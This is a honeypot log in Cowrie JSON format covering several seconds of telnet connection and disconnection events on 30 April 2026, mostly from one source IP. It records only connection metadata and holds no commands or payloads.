{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46658,"dst_ip":"159.203.135.109","dst_port":23,"session":"19415faf65c1","protocol":"telnet","message":"New connection: 69.6.225.50:46658 (159.203.135.109:23) [session: 19415faf65c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.843992Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46668,"dst_ip":"159.203.135.109","dst_port":23,"session":"7315e958043c","protocol":"telnet","message":"New connection: 69.6.225.50:46668 (159.203.135.109:23) [session: 7315e958043c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:00.863916Z"}
{"eventid":"cowrie.session.closed","duration":32.003657817840576,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:01.037888Z","src_ip":"69.6.225.50","session":"115b6ef41481","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57882857322693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:01.128614Z","src_ip":"69.6.225.50","session":"3c898d68b9a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46672,"dst_ip":"159.203.135.109","dst_port":23,"session":"67431fc6f5be","protocol":"telnet","message":"New connection: 69.6.225.50:46672 (159.203.135.109:23) [session: 67431fc6f5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:01.412737Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46680,"dst_ip":"159.203.135.109","dst_port":23,"session":"63a4c0726dfe","protocol":"telnet","message":"New connection: 69.6.225.50:46680 (159.203.135.109:23) [session: 63a4c0726dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:01.648365Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46686,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc3a4fd39211","protocol":"telnet","message":"New connection: 69.6.225.50:46686 (159.203.135.109:23) [session: dc3a4fd39211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:01.834476Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46694,"dst_ip":"159.203.135.109","dst_port":23,"session":"3151beefb5b5","protocol":"telnet","message":"New connection: 69.6.225.50:46694 (159.203.135.109:23) [session: 3151beefb5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:01.853060Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56062,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a746881489c","protocol":"telnet","message":"New connection: 144.79.218.12:56062 (10.17.0.5:23) [session: 0a746881489c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:02.001704Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46700,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a1315be7c7","protocol":"telnet","message":"New connection: 69.6.225.50:46700 (159.203.135.109:23) [session: 42a1315be7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:02.134849Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46716,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d3f212f955","protocol":"telnet","message":"New connection: 69.6.225.50:46716 (159.203.135.109:23) [session: a4d3f212f955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:02.475344Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46724,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ba4954e897e","protocol":"telnet","message":"New connection: 69.6.225.50:46724 (159.203.135.109:23) [session: 1ba4954e897e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:02.481434Z"}
{"eventid":"cowrie.session.closed","duration":31.65839433670044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:02.569877Z","src_ip":"69.6.225.50","session":"fd561042e188","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080991983413696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:02.741067Z","src_ip":"69.6.225.50","session":"aec58ce5bccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.95806694030762,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:02.838598Z","src_ip":"144.79.218.12","session":"4b446e05af30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46730,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7efaf0bf70","protocol":"telnet","message":"New connection: 69.6.225.50:46730 (159.203.135.109:23) [session: 5d7efaf0bf70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.039954Z"}
{"eventid":"cowrie.session.closed","duration":30.156362295150757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.052679Z","src_ip":"69.6.225.50","session":"83cd33b83120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689767122268677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.142216Z","src_ip":"69.6.225.50","session":"749bd7a78d88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46742,"dst_ip":"159.203.135.109","dst_port":23,"session":"77af57bfb100","protocol":"telnet","message":"New connection: 69.6.225.50:46742 (159.203.135.109:23) [session: 77af57bfb100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.364446Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46752,"dst_ip":"159.203.135.109","dst_port":23,"session":"4db06b629860","protocol":"telnet","message":"New connection: 69.6.225.50:46752 (159.203.135.109:23) [session: 4db06b629860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.401057Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8ae52f5b613","protocol":"telnet","message":"New connection: 144.79.218.12:56070 (10.17.0.5:23) [session: c8ae52f5b613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.636941Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46762,"dst_ip":"159.203.135.109","dst_port":23,"session":"25680e017c44","protocol":"telnet","message":"New connection: 69.6.225.50:46762 (159.203.135.109:23) [session: 25680e017c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.643844Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46768,"dst_ip":"159.203.135.109","dst_port":23,"session":"397e96d48d7f","protocol":"telnet","message":"New connection: 69.6.225.50:46768 (159.203.135.109:23) [session: 397e96d48d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.657526Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46780,"dst_ip":"159.203.135.109","dst_port":23,"session":"3893aa1d8a8c","protocol":"telnet","message":"New connection: 69.6.225.50:46780 (159.203.135.109:23) [session: 3893aa1d8a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.807281Z"}
{"eventid":"cowrie.session.closed","duration":31.440396308898926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:03.817221Z","src_ip":"69.6.225.50","session":"485956318f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577622175216675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:04.054253Z","src_ip":"69.6.225.50","session":"a1e5e33db05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669416189193726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:04.061088Z","src_ip":"69.6.225.50","session":"3a5fcc5d8b75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953788995742798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:04.168504Z","src_ip":"69.6.225.50","session":"2c469503400f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12189054489136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:04.261184Z","src_ip":"144.79.218.12","session":"ce9ceb0977b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46796,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f75854915b","protocol":"telnet","message":"New connection: 69.6.225.50:46796 (159.203.135.109:23) [session: 05f75854915b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:04.431975Z"}
{"eventid":"cowrie.session.closed","duration":35.066317558288574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:04.620632Z","src_ip":"144.79.218.12","session":"a14c7d4d5c6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46800,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02efe075ce5","protocol":"telnet","message":"New connection: 69.6.225.50:46800 (159.203.135.109:23) [session: b02efe075ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:04.672567Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46804,"dst_ip":"159.203.135.109","dst_port":23,"session":"4335f6b691bd","protocol":"telnet","message":"New connection: 69.6.225.50:46804 (159.203.135.109:23) [session: 4335f6b691bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.238357Z"}
{"eventid":"cowrie.session.closed","duration":31.30994439125061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.242324Z","src_ip":"69.6.225.50","session":"7ba5b8bf58a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46820,"dst_ip":"159.203.135.109","dst_port":23,"session":"346e144eb1b9","protocol":"telnet","message":"New connection: 69.6.225.50:46820 (159.203.135.109:23) [session: 346e144eb1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.278859Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46836,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47e495d72c2","protocol":"telnet","message":"New connection: 69.6.225.50:46836 (159.203.135.109:23) [session: d47e495d72c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.503327Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46848,"dst_ip":"159.203.135.109","dst_port":23,"session":"037b55e30398","protocol":"telnet","message":"New connection: 69.6.225.50:46848 (159.203.135.109:23) [session: 037b55e30398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.695483Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56076,"dst_ip":"10.17.0.5","dst_port":23,"session":"49e21792cdd6","protocol":"telnet","message":"New connection: 144.79.218.12:56076 (10.17.0.5:23) [session: 49e21792cdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.713012Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46858,"dst_ip":"159.203.135.109","dst_port":23,"session":"9574552586b7","protocol":"telnet","message":"New connection: 69.6.225.50:46858 (159.203.135.109:23) [session: 9574552586b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.798356Z"}
{"eventid":"cowrie.session.closed","duration":35.2733895778656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:05.999341Z","src_ip":"144.79.218.12","session":"3650dea8e98c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46866,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2be7044642d","protocol":"telnet","message":"New connection: 69.6.225.50:46866 (159.203.135.109:23) [session: e2be7044642d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:06.045056Z"}
{"eventid":"cowrie.session.closed","duration":30.908599376678467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:06.063828Z","src_ip":"69.6.225.50","session":"ac0da8b65da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69246220588684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:06.166708Z","src_ip":"69.6.225.50","session":"8a97ddb0f93f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.25593829154968,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:06.811650Z","src_ip":"144.79.218.12","session":"9346dcfe9b15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.76940393447876,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.082910Z","src_ip":"5.61.90.139","session":"1e67cfd3da41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822490453720093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.207330Z","src_ip":"69.6.225.50","session":"2a5103761ab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46868,"dst_ip":"159.203.135.109","dst_port":23,"session":"5815321dae08","protocol":"telnet","message":"New connection: 69.6.225.50:46868 (159.203.135.109:23) [session: 5815321dae08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.214550Z"}
{"eventid":"cowrie.session.closed","duration":30.84300136566162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.237072Z","src_ip":"69.6.225.50","session":"37fbe8363706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46884,"dst_ip":"159.203.135.109","dst_port":23,"session":"edadc21f9623","protocol":"telnet","message":"New connection: 69.6.225.50:46884 (159.203.135.109:23) [session: edadc21f9623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.301374Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46894,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1c9eb6cb697","protocol":"telnet","message":"New connection: 69.6.225.50:46894 (159.203.135.109:23) [session: c1c9eb6cb697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.386812Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46906,"dst_ip":"159.203.135.109","dst_port":23,"session":"9475098097cc","protocol":"telnet","message":"New connection: 69.6.225.50:46906 (159.203.135.109:23) [session: 9475098097cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.393333Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46916,"dst_ip":"159.203.135.109","dst_port":23,"session":"3870f4b9faa9","protocol":"telnet","message":"New connection: 69.6.225.50:46916 (159.203.135.109:23) [session: 3870f4b9faa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.555621Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46924,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b6676f5d74","protocol":"telnet","message":"New connection: 69.6.225.50:46924 (159.203.135.109:23) [session: b8b6676f5d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.571485Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b92a812eb475","protocol":"telnet","message":"New connection: 69.6.225.50:46928 (159.203.135.109:23) [session: b92a812eb475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.734745Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46930,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e35061d20bb","protocol":"telnet","message":"New connection: 69.6.225.50:46930 (159.203.135.109:23) [session: 6e35061d20bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:07.802884Z"}
{"eventid":"cowrie.session.closed","duration":30.746549367904663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:08.140606Z","src_ip":"69.6.225.50","session":"be85ceabaf08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56082,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf6341c03dfd","protocol":"telnet","message":"New connection: 144.79.218.12:56082 (10.17.0.5:23) [session: bf6341c03dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:08.245276Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47834,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d22271b468f","protocol":"telnet","message":"New connection: 69.6.225.50:47834 (159.203.135.109:23) [session: 0d22271b468f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:08.498450Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47844,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e4e70cf9f9","protocol":"telnet","message":"New connection: 69.6.225.50:47844 (159.203.135.109:23) [session: d2e4e70cf9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:08.574632Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47848,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf281683d6b","protocol":"telnet","message":"New connection: 69.6.225.50:47848 (159.203.135.109:23) [session: fbf281683d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:08.666410Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46936,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dd2deddd56b","protocol":"telnet","message":"New connection: 69.6.225.50:46936 (159.203.135.109:23) [session: 7dd2deddd56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:08.901474Z"}
{"eventid":"cowrie.session.closed","duration":30.54157257080078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.081066Z","src_ip":"69.6.225.50","session":"9078c0bd598f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3401141166687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.084717Z","src_ip":"69.6.225.50","session":"443eb13324c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66893434524536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.094416Z","src_ip":"69.6.225.50","session":"f62831b30548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47862,"dst_ip":"159.203.135.109","dst_port":23,"session":"5437e60e5b2b","protocol":"telnet","message":"New connection: 69.6.225.50:47862 (159.203.135.109:23) [session: 5437e60e5b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.111459Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47874,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8b7013a326d","protocol":"telnet","message":"New connection: 69.6.225.50:47874 (159.203.135.109:23) [session: f8b7013a326d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.260031Z"}
{"eventid":"cowrie.session.closed","duration":30.508434772491455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.267496Z","src_ip":"69.6.225.50","session":"dff8f754fa4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.585142850875854,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.296402Z","src_ip":"144.79.218.12","session":"950ca08ccef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47888,"dst_ip":"159.203.135.109","dst_port":23,"session":"e409ed51b8ef","protocol":"telnet","message":"New connection: 69.6.225.50:47888 (159.203.135.109:23) [session: e409ed51b8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.447680Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47898,"dst_ip":"159.203.135.109","dst_port":23,"session":"6921cedacf5f","protocol":"telnet","message":"New connection: 69.6.225.50:47898 (159.203.135.109:23) [session: 6921cedacf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.627733Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47912,"dst_ip":"159.203.135.109","dst_port":23,"session":"bffcbe231f7e","protocol":"telnet","message":"New connection: 69.6.225.50:47912 (159.203.135.109:23) [session: bffcbe231f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:09.868615Z"}
{"eventid":"cowrie.session.closed","duration":30.51365375518799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.057368Z","src_ip":"69.6.225.50","session":"1b46abe0a08a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092050552368164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.090017Z","src_ip":"69.6.225.50","session":"9fc100e946eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2551167011261,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.104235Z","src_ip":"69.6.225.50","session":"5587edc5ee57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72465205192566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.129854Z","src_ip":"69.6.225.50","session":"803fb4a9e2c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568854093551636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.135030Z","src_ip":"69.6.225.50","session":"a2f213ba45a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468510150909424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.169125Z","src_ip":"69.6.225.50","session":"7e1615094430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47926,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5746d5d11f","protocol":"telnet","message":"New connection: 69.6.225.50:47926 (159.203.135.109:23) [session: cf5746d5d11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.284769Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58860,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b47c73ab85","protocol":"telnet","message":"New connection: 144.79.218.12:58860 (10.17.0.5:23) [session: 93b47c73ab85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.294161Z"}
{"eventid":"cowrie.session.closed","duration":30.56286382675171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.362782Z","src_ip":"69.6.225.50","session":"97dffaa667ec","protocol":"telnet"}
